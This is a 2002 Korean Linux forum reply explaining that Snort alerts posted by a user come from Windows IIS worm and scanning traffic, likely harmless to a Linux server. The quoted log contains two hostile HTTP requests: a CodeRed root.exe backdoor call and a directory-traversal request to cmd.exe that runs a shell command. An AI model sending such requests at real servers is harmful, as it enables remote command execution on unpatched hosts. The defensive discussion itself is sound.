>> Read Reply from No. 60802 article  
RE: snort log, 이거 해킹 맞는지요? 좀 보아주세요.

등록 2002-11-12 21:21:00     조회 13
이름 reca    

해킹이라고 하기엔 좀 뭐합니다 ^^.
왜냐하면 이건 윈도우 시스템에 해당하는 거든요.
아마 님의 시스템은 리눅스일테니 별 문제 없겠죠.
다만 로그가 쌓이는 것을 제외하고는...... -_-;;;
  : [**] WEB-IIS CodeRed v2 root.exe access [**]
: 11/12-20:01:48.001355 2xx.xxx.xxx.xxx:1938 -> 2xx.xxx.xxx.xxx:80
: TCP TTL:124 TOS:0x0 ID:35568 IpLen:20 DgmLen:112 DF
: ***AP*** Seq:0x2B6B5193  Ack:0x4C224974  Win:0x4470  TcpLen:20
: 47 45 54 20 2F 73 63 72 69 70 74 73 2F 72 6F 6F  GET /scripts/roo
: 74 2E 65 78 65 3F 2F 63 2B 64 69 72 20 48 54 54  t.exe?/c+dir HTT
: 50 2F 31 2E 30 0D 0A 48 6F 73 74 3A 20 77 77 77  P/1.0..Host: www
: 0D 0A 43 6F 6E 6E 6E 65 63 74 69 6F 6E 3A 20 63  ..Connnection: c
: 6C 6F 73 65 0D 0A 0D 0A                          lose....
:
: =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
:
: [**] WEB-IIS cmd.exe access [**]
: 11/12-20:01:48.298328 2xx.xxx.xxx.xxx:1959 -> 2xx.xxx.xxx.xxx:80
: TCP TTL:124 TOS:0x0 ID:35675 IpLen:20 DgmLen:136 DF
: ***AP*** Seq:0x2B7D2C78  Ack:0x4C101BB5  Win:0x4470  TcpLen:20
: 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25  GET /scripts/..%
: 32 66 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65  2f../winnt/syste
: 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64  m32/cmd.exe?/c+d
: 69 72 20 72 20 48 54 54 50 2F 31 2E 30 0D 0A 48  ir r HTTP/1.0..H
: 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E 6E 65  ost: www..Connne : 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A     
:    ction: close..
: =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
이름
암호


>> 관련글
60802 snort log, 이거 해킹 맞는지요? 좀 보아주세요.  snort  2002.11.12  ...13 
  답장 RE: snort log, 이거 해킹 맞는지요? 좀 보아주세요.  reca  2002.11.12  ...12 
Register [ localhost 목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 0.63 초 ] 작업시간: [ 0.23 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1791098084
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.